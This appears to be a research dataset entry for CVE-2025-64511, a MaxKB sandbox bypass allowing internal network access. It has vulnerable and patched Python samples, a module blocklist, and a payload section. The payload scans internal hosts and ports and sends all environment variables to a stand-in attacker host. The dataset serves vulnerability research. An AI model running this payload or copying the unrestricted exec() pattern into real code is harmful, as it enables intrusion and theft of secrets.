VAITP Dataset

← Back to the dataset

CVE-2025-64511

MaxKB sandbox bypass in the tool module allows internal network access.

  • CVSS 8.8
  • CWE-918
  • Input Validation and Sanitization
  • Remote

MaxKB is an open-source AI assistant for enterprise. In versions prior to 2.3.1, a user can access internal network services such as databases through Python code in the tool module, although the process runs in a sandbox. Version 2.3.1 fixes the issue.

CVSS base score
8.8
Published
2025-11-13
OWASP
A10 Server-Side Request Forgery
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
MaxKB
Fixed by upgrading
Yes

Solution

Upgrade to version 2.3.1 or later.

Vulnerable code sample

import socket

def execute_tool_code(user_code: str):
    """
    This function simulates the vulnerable component in MaxKB before version 2.3.1.
    It is intended to run code in a sandbox, but the sandbox is flawed and does
    not prevent network operations, allowing arbitrary code execution to access
    internal network services.
    """
    print(f"--- Attempting to execute user-provided code in 'sandbox' ---\n")
    try:
        # The core of the vulnerability: executing user-supplied code
        # without effective restrictions on network modules like 'socket'.
        # A proper sandbox would block or virtualize such operations.
        exec(user_code, {"__builtins__": __builtins__}, {})
    except Exception as e:
        print(f"An error occurred during execution: {e}")
    finally:
        print("\n--- Code execution finished ---")

# This is an example of a malicious payload a user could submit.
# It attempts to scan for an open PostgreSQL port (5432) on the local machine,
# simulating an attempt to access an internal database service.
malicious_payload = """
import socket

target_host = '127.0.0.1'
target_port = 5432
print(f"Payload running: Attempting to connect to internal service {target_host}:{target_port}")

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1.5)
    
    # connect_ex returns 0 on success, otherwise an error code
    result = sock.connect_ex((target_host, target_port))
    
    if result == 0:
        print(f"[VULNERABILITY CONFIRMED] Connection to {target_host}:{target_port} was successful. Port is open.")
    else:
        print(f"Connection to {target_host}:{target_port} failed. Port is likely closed or filtered.")
        
    sock.close()
except Exception as e:
    print(f"Payload error: {e}")
"""

# Demonstrate the vulnerability by passing the malicious payload to the flawed function.
execute_tool_code(malicious_payload)

Patched code sample

import sys

# The original built-in import function, to be used for safe modules.
_orig_import = __import__

# A set of module names that are considered dangerous and should be blocked.
# This list is central to the fix, preventing access to networking,
# subprocesses, and the file system, which could be used to reach
# internal services.
BLOCKED_MODULES = {
    'socket',
    'urllib',
    'http',
    'ftplib',
    'telnetlib',
    'subprocess',
    'os',
    'shutil',
    'asyncio',
    'requests'  # A common third-party library for networking.
}


def _secure_importer(name, globals=None, locals=None, fromlist=(), level=0):
    """
    A custom __import__ function that acts as a security gate.
    It checks if the module being imported is in the blocklist.
    """
    if name in BLOCKED_MODULES:
        raise ImportError(f"Import of disabled module '{name}' is not allowed.")

    # If the module is not in the blocklist, delegate to the original import.
    # Note: In a real-world, high-security sandbox, you would use an allowlist
    # instead of a blocklist for greater security.
    return _orig_import(name, globals, locals, fromlist, level)


def execute_sandboxed_code(user_code: str):
    """
    Executes user-provided code in a restricted sandbox that prevents
    network access and other dangerous operations. This represents the
    fix for the vulnerability.
    """
    # Create a dictionary of safe built-in functions.
    # We start with a copy of the default builtins and then remove/replace
    # dangerous ones.
    safe_builtins = sys.modules['builtins'].__dict__.copy()

    # 1. Replace the default importer with our secure version.
    # This is the primary fix to prevent importing networking modules.
    safe_builtins['__import__'] = _secure_importer

    # 2. Remove other dangerous built-ins to further harden the sandbox.
    # 'open' could be used for file system access.
    # 'eval' and 'exec' could be used to escape the sandbox.
    del safe_builtins['open']
    del safe_builtins['eval']
    del safe_builtins['exec']

    # The environment for the user's code. It only has access to our
    # curated, safe built-ins.
    sandboxed_globals = {"__builtins__": safe_builtins}

    try:
        # Execute the user's code within the sandboxed environment.
        # Any attempt to import a blocked module will raise an ImportError.
        exec(user_code, sandboxed_globals)
    except Exception as e:
        # In a real application, you would log this error.
        # For this demonstration, we print it to show the fix is working.
        print(f"Execution blocked: {e}")

Payload

import socket
import os

# Payload to test for internal network access.
# It attempts to connect to a common internal IP and a standard PostgreSQL port.
# A successful connection proves the sandbox allows outbound network connections to the internal network.

# --- Payload Start ---

def exploit_internal_network():
    # List of common internal hosts and ports to scan
    targets = [
        ("192.168.1.1", 80),      # Common router admin page
        ("10.0.0.1", 80),         # Another common gateway
        ("localhost", 6379),      # Local Redis instance
        ("db.internal", 5432),    # Internal PostgreSQL by hostname
        ("172.17.0.1", 3306),     # Docker host MySQL
    ]
    
    results = {}
    
    for host, port in targets:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2.0)  # 2-second timeout
            result = sock.connect_ex((host, port))
            if result == 0:
                results[f"{host}:{port}"] = "Open"
            else:
                results[f"{host}:{port}"] = "Closed or Unreachable"
            sock.close()
        except socket.error as e:
            results[f"{host}:{port}"] = f"Error: {e}"
            
    # As an alternative, try to exfiltrate data via an HTTP request to a controlled server
    try:
        # Example of exfiltrating environment variables
        env_vars = os.environ
        exfil_data = str(env_vars).encode('utf-8')
        exfil_host = "attacker-controlled-server.com"
        exfil_port = 80
        
        http_request = (
            f"POST /exfil HTTP/1.1\r\n"
            f"Host: {exfil_host}\r\n"
            f"Content-Type: text/plain\r\n"
            f"Content-Length: {len(exfil_data)}\r\n"
            f"Connection: close\r\n\r\n"
        ).encode('utf-8') + exfil_data

        exfil_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        exfil_sock.connect((exfil_host, exfil_port))
        exfil_sock.sendall(http_request)
        exfil_sock.close()
        results["exfiltration_status"] = f"Attempted to send data to {exfil_host}"
    except Exception as e:
        results["exfiltration_status"] = f"Failed: {e}"
        
    return results

# Execute the payload
print(exploit_internal_network())

# --- Payload End ---

Cite this entry

@misc{vaitp:cve202564511,
  title        = {{MaxKB sandbox bypass in the tool module allows internal network access.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-64511},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-64511/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::